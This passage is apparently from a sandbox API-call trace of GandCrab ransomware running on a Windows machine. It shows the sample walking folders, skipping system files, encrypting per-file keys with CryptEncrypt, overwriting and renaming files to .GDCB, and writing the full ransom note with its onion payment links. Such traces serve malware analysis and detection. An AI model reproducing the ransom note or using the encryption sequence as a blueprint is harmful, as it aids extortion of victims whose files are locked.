http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.126] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.127] CloseHandle (hObject=0x4fc) returned 1 [0054.127] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.127] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned 62 [0054.127] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*" [0054.127] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8b70 [0054.127] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.127] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.127] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.127] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.127] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.127] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.127] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.127] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt" [0054.127] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.127] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned 78 [0054.127] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned 78 [0054.127] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned 78 [0054.127] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned 78 [0054.127] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.127] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.128] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.128] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.128] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.128] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.128] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.128] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.128] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.128] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.128] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.128] lstrcmpW (lpString1="Global.LNK", lpString2=".") returned 1 [0054.128] lstrcmpW (lpString1="Global.LNK", lpString2="..") returned 1 [0054.128] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Global.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" [0054.128] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.128] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72 [0054.128] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72 [0054.128] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.128] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.128] lstrcmpW (lpString1="index.dat", lpString2=".") returned 1 [0054.128] lstrcmpW (lpString1="index.dat", lpString2="..") returned 1 [0054.128] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="index.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" [0054.128] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.128] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 71 [0054.129] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 71 [0054.129] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 71 [0054.129] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 71 [0054.129] lstrcmpiW (lpString1="index.dat", lpString2="desktop.ini") returned 1 [0054.129] lstrcmpiW (lpString1="index.dat", lpString2="autorun.inf") returned 1 [0054.129] lstrcmpiW (lpString1="index.dat", lpString2="ntuser.dat") returned -1 [0054.129] lstrcmpiW (lpString1="index.dat", lpString2="iconcache.db") returned 1 [0054.129] lstrcmpiW (lpString1="index.dat", lpString2="bootsect.bak") returned 1 [0054.129] lstrcmpiW (lpString1="index.dat", lpString2="boot.ini") returned 1 [0054.129] lstrcmpiW (lpString1="index.dat", lpString2="ntuser.dat.log") returned -1 [0054.129] lstrcmpiW (lpString1="index.dat", lpString2="thumbs.db") returned -1 [0054.129] lstrcmpiW (lpString1="index.dat", lpString2="GDCB-DECRYPT.txt") returned 1 [0054.129] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\index.dat")) returned 0x2 [0054.129] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", dwFileAttributes=0x2) returned 1 [0054.130] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.130] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" [0054.130] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB" [0054.130] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x58ff08) returned 1 [0054.130] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.131] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.131] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.131] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0054.131] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.131] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.131] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x58fc60) returned 1 [0054.132] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.132] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.132] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.132] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0054.132] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.132] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.132] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.132] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.132] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x58fc60) returned 1 [0054.134] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5b8730) returned 1 [0054.134] CryptGetKeyParam (in: hKey=0x5b8730, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0054.134] CryptEncrypt (in: hKey=0x5b8730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0054.134] GetLastError () returned 0x0 [0054.134] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.134] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x58fc60) returned 1 [0054.136] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5b8bb0) returned 1 [0054.136] CryptGetKeyParam (in: hKey=0x5b8bb0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0054.136] CryptEncrypt (in: hKey=0x5b8bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0054.136] GetLastError () returned 0x0 [0054.136] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.136] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.137] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.137] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.137] ReadFile (in: hFile=0x500, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285eab0*=0x35, lpOverlapped=0x0) returned 1 [0054.142] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.142] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0054.142] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.142] SetFilePointer (in: hFile=0x500, lDistanceToMove=-53, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.142] WriteFile (in: hFile=0x500, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285eaa8*=0x40, lpOverlapped=0x0) returned 1 [0054.142] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.143] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.146] WriteFile (in: hFile=0x500, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0054.146] WriteFile (in: hFile=0x500, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0054.146] WriteFile (in: hFile=0x500, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285eaa8*=0x10, lpOverlapped=0x0) returned 1 [0054.146] CloseHandle (hObject=0x500) returned 1 [0054.147] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.147] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.147] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.147] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.gdcb")) returned 1 [0054.148] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.149] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.149] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.149] lstrcmpW (lpString1="Templates.LNK", lpString2=".") returned 1 [0054.149] lstrcmpW (lpString1="Templates.LNK", lpString2="..") returned 1 [0054.149] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Templates.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" [0054.149] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.149] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75 [0054.149] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75 [0054.149] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.149] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.149] FindClose (in: hFindFile=0x5b8b70 | out: hFindFile=0x5b8b70) returned 1 [0054.149] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.149] FindClose (in: hFindFile=0x5b8bf0 | out: hFindFile=0x5b8bf0) returned 1 [0054.149] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.149] lstrcmpW (lpString1="OneNote", lpString2=".") returned 1 [0054.149] lstrcmpW (lpString1="OneNote", lpString2="..") returned 1 [0054.149] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" [0054.149] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\" [0054.149] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.150] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.150] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.150] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.150] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.150] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.150] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned 56 [0054.150] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*" [0054.150] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8770 [0054.150] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.150] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.150] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.150] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.150] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.151] lstrcmpW (lpString1="16.0", lpString2=".") returned 1 [0054.151] lstrcmpW (lpString1="16.0", lpString2="..") returned 1 [0054.151] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0054.151] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned 60 [0054.151] lstrcmpW (lpString1=".0", lpString2=".sql") returned -1 [0054.151] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.151] FindClose (in: hFindFile=0x5b8770 | out: hFindFile=0x5b8770) returned 1 [0054.151] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.151] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\\\GDCB-DECRYPT.txt") returned 73 [0054.151] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.152] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.152] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.152] CloseHandle (hObject=0x4f8) returned 1 [0054.152] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.153] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned 56 [0054.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*" [0054.153] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8770 [0054.153] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.153] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.153] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.153] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.153] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.153] lstrcmpW (lpString1="16.0", lpString2=".") returned 1 [0054.153] lstrcmpW (lpString1="16.0", lpString2="..") returned 1 [0054.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0054.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\" [0054.153] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.153] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.153] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.153] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.153] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.153] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.153] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned 61 [0054.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*" [0054.153] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b85b0 [0054.154] lstrcmpW (lpString1=".", lpString2=".") returned 0 